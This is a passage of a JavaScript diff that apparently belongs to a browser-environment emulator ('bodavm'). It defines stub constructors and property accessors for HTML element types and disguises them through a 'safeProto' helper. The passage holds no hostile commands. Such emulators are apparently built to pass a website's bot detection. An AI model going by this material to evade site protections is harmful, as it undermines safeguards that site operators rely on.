+bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onlanguagechange", { + configurable: true, + enumerable: true, + get: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_get", arguments); + }, + set: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onoffline", { + configurable: true, + enumerable: true, + get: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_get", arguments); + }, + set: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "ononline", { + configurable: true, + enumerable: true, + get: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_get", arguments); + }, + set: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpagehide", { + configurable: true, + enumerable: true, + get: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_get", arguments); + }, + set: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpageshow", { + configurable: true, + enumerable: true, + get: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_get", arguments); + }, + set: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpopstate", { + configurable: true, + enumerable: true, + get: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_get", arguments); + }, + set: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onrejectionhandled", { + configurable: true, + enumerable: true, + get: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_get", arguments); + }, + set: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onstorage", { + configurable: true, + enumerable: true, + get: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_get", arguments); + }, + set: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunhandledrejection", { + configurable: true, + enumerable: true, + get: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_get", arguments); + }, + set: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunload", { + configurable: true, + enumerable: true, + get: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_get", arguments); + }, + set: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_set", arguments); + } +}, 'prototype'); +// HTMLBRElement对象 + +bodavm.memory.globalobj['HTMLBRElement'] = function HTMLBRElement() { + console.log_copy('HTMLBRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBRElement'], "HTMLBRElement"); +bodavm.memory.globalobj['HTMLBRElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBRElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBRElement', "clear", { + configurable: true, + enumerable: true, + get: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_get", arguments); + }, + set: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_set", arguments); + } +}, 'prototype'); +// HTMLButtonElement对象 + +bodavm.memory.globalobj['HTMLButtonElement'] = function HTMLButtonElement() { + console.log_copy('HTMLButtonElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLButtonElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLButtonElement'], "HTMLButtonElement"); +bodavm.memory.globalobj['HTMLButtonElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLButtonElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formAction", { + configurable: true, + enumerable: true, + get: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_get", arguments); + }, + set: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formEnctype", { + configurable: true, + enumerable: true, + get: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_get", arguments); + }, + set: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formMethod", { + configurable: true, + enumerable: true, + get: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_get", arguments); + }, + set: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formNoValidate", { + configurable: true, + enumerable: true, + get: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_get", arguments); + }, + set: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formTarget", { + configurable: true, + enumerable: true, + get: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_get", arguments); + }, + set: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "setCustomValidity", arguments); + } +}, 'prototype'); +// HTMLCanvasElement对象 + +bodavm.memory.globalobj['HTMLCanvasElement'] = function HTMLCanvasElement() { + console.log_copy('HTMLCanvasElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLCanvasElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCanvasElement'], "HTMLCanvasElement"); +bodavm.memory.globalobj['HTMLCanvasElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLCanvasElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "captureStream", { + configurable: true, + enumerable: true, + writable: true, + value: function captureStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "captureStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "getContext", { + configurable: true, + enumerable: true, + writable: true, + value: function getContext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "getContext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toBlob", { + configurable: true, + enumerable: true, + writable: true, + value: function toBlob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toBlob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toDataURL", { + configurable: true, + enumerable: true, + writable: true, + value: function toDataURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toDataURL", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "transferControlToOffscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function transferControlToOffscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "transferControlToOffscreen", arguments); + } +}, 'prototype'); +// HTMLDataElement对象 + +bodavm.memory.globalobj['HTMLDataElement'] = function HTMLDataElement() { + console.log_copy('HTMLDataElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDataElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataElement'], "HTMLDataElement"); +bodavm.memory.globalobj['HTMLDataElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDataElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDataElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_set", arguments); + } +}, 'prototype'); +// HTMLDataListElement对象 + +bodavm.memory.globalobj['HTMLDataListElement'] = function HTMLDataListElement() { + console.log_copy('HTMLDataListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDataListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataListElement'], "HTMLDataListElement"); +bodavm.memory.globalobj['HTMLDataListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDataListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDataListElement', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataListElement'].prototype, "HTMLDataListElement", "options_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLDetailsElement对象 + +bodavm.memory.globalobj['HTMLDetailsElement'] = function HTMLDetailsElement() { + console.log_copy('HTMLDetailsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDetailsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDetailsElement'], "HTMLDetailsElement"); +bodavm.memory.globalobj['HTMLDetailsElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDetailsElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDetailsElement', "open", { + configurable: true, + enumerable: true, + get: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_get", arguments); + }, + set: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_set", arguments); + } +}, 'prototype'); +// HTMLDialogElement对象 + +bodavm.memory.globalobj['HTMLDialogElement'] = function HTMLDialogElement() { + console.log_copy('HTMLDialogElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDialogElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDialogElement'], "HTMLDialogElement"); +bodavm.memory.globalobj['HTMLDialogElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDialogElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "open", { + configurable: true, + enumerable: true, + get: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_get", arguments); + }, + set: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "show", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "showModal", { + configurable: true, + enumerable: true, + writable: true, + value: function showModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "showModal", arguments); + } +}, 'prototype'); +// HTMLDirectoryElement对象 + +bodavm.memory.globalobj['HTMLDirectoryElement'] = function HTMLDirectoryElement() { + console.log_copy('HTMLDirectoryElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDirectoryElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDirectoryElement'], "HTMLDirectoryElement"); +bodavm.memory.globalobj['HTMLDirectoryElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDirectoryElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDirectoryElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_set", arguments); + } +}, 'prototype'); +// HTMLDivElement对象 + +bodavm.memory.globalobj['HTMLDivElement'] = function HTMLDivElement() { + console.log_copy('HTMLDivElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDivElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDivElement'], "HTMLDivElement"); +bodavm.memory.globalobj['HTMLDivElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDivElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDivElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_set", arguments); + } +}, 'prototype'); +// HTMLDListElement对象 + +bodavm.memory.globalobj['HTMLDListElement'] = function HTMLDListElement() { + console.log_copy('HTMLDListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDListElement'], "HTMLDListElement"); +bodavm.memory.globalobj['HTMLDListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_set", arguments); + } +}, 'prototype'); +// HTMLEmbedElement对象 + +bodavm.memory.globalobj['HTMLEmbedElement'] = function HTMLEmbedElement() { + console.log_copy('HTMLEmbedElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLEmbedElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLEmbedElement'], "HTMLEmbedElement"); +bodavm.memory.globalobj['HTMLEmbedElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLEmbedElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, 